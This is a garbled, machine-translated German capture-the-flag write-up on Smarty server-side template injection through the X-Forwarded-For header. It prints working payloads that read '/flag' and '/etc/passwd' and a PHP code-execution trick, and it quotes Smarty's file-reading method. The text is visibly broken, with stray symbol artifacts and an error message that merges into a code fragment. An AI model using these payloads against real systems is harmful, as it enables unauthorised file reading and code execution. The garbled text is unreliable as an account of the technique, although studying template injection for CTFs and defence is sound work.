Die Frage stellt eine API zum Lesen von XFF-Headern bereit. Es kann festgestellt werden, dass sie mit der Smarty-Engine geschrieben wurde.
#🎜 🎜#Bestimmen Sie grundsätzlich die Möglichkeit von SSTi auf dieser Seite# 🎜🎜#
X -Forwarded-For: {if var_dump(file_get_contents('/flag')) }{/if} Smarty SSTI Exploit# 🎜🎜#
Allgemeine Verwendung
Das offizielle Handbuch von Smarty3 hat die folgende Beschreibung:# 🎜🎜#
Diese Frage verwendet die Smarty-Klasse, daher können wir nur einen anderen Weg finden. {literal} Tag
Das offizielle Handbuch beschreibt dieses Tag wie folgt:
{literal} kann die Zeichen in a belassen Vorlagenbereich, wenn sie ausgegeben werden. Dies wird häufig verwendet, um zu verhindern, dass Javascript- oder CSS-Stylesheets auf der Seite aufgrund von Smarty-Trennzeichen falsch analysiert werden.Dann können wir für die PHP5-Umgebungverwenden, um die PHP-Codeausführung zu implementieren, aber die Frageumgebung dieser Frage ist PHP7, diese Methode Es schlägt fehl.<script language="php">phpinfo();</script>Nach dem Login kopieren
statische Methode
Das Abrufen der Smarty-Klasse durch sich selbst und das anschließende Aufrufen ihrer statischen Methode zum Lesen und Schreiben von Dateien wird in vielen Artikeln im Internet übernommen.
public function getStreamVariable($variable) { $_result = ''; $fp = fopen($variable, 'r+'); if ($fp) { while (!feof($fp) && ($current_line = fgets($fp)) !== false) { $_result .= $current_line; } fclose($fp); return $_result; } $smarty = isset($this->smarty) ? $this->smarty : $this; if ($smarty->error_unassigned) { throw new SmartyException('Undefined stream variable "' . $variable . '"'); } else { return null; } }
Sie können sehen, dass diese Methode eine Datei lesen und ihren Inhalt zurückgeben kann, sodass wir sie verwenden können self, um das Smarty-Objekt abzurufen und diese Methode aufzurufen. Die in vielen Artikeln angegebene Nutzlast hat die Form: {self::getStreamVariable("file:///etc/passwd")}. Die Verwendung dieser Nutzlast löst jedoch den folgenden Fehler aus:
Fatal error: Uncaught --> Smarty Compiler: Syntax error in template „string:display("string:".$ip); }Sie können sehen, dass Zeichenfolgen anstelle von Smarty-Vorlagen verwendet werden, was dazu führt, dass die eingefügten Smarty-Tags direkt analysiert und ausgeführt werden, was zu SSTI führt.
Das obige ist der detaillierte Inhalt vonSo verwenden Sie Smarty SSTi. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!